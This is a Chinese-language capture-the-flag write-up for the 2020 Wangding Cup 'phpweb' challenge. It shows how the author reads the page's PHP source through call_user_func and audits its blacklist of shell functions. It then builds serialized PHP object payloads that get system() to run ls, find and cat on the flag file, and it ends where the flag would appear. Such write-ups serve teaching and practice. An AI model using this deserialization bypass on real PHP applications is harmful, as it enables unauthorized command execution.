[網鼎杯 2020 朱雀組]phpweb
阿新 • • 發佈:2020-10-14
解題過程如下
抓包
進來的頁面不對勁,雖然不知道什麼梗但是有一說一確實醜,如果注意一下還會發現這個頁面在不斷重新整理,先抓個包看看。
發現這裡上傳了兩個引數,分別是func
和p
。
獲取原始碼
func
猜測是function
,p
應該是payload
(猜的),那麼簡單明瞭的東西應該是一個呼叫func
上傳的函式名,引數採用p
傳上來的引數。於是構造:
func=file_get_contents&p=index.php
原始碼:
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
審計
得到原始碼以後才知道原來是call_user_func()
函式,還是見得少了,大佬估計直接能看出來是這個函式,我還要靠猜。
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
這裡那麼多函式被禁了,主要還是禁了system
比較難受,但是問題不大,畢竟沒有禁file_get_contents
、cat
以及serialize
。
這裡serialize
才是重點(敲黑板!),畢竟原始碼裡給我們提供了一個Test類
:
class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }
然後簡單明瞭構造payload:
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
// $a->p = 'ls ../../../'; ==> O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
// $a -> p = "find / -name 'flag*'"; ⇒ O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
$a -> p = 'cat /tmp/flagoefiu4r93'; // ==> O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
$a -> func = 'system';
echo (serialize($a));
?>
這裡利用p
引數前後構造了三個payload,flag: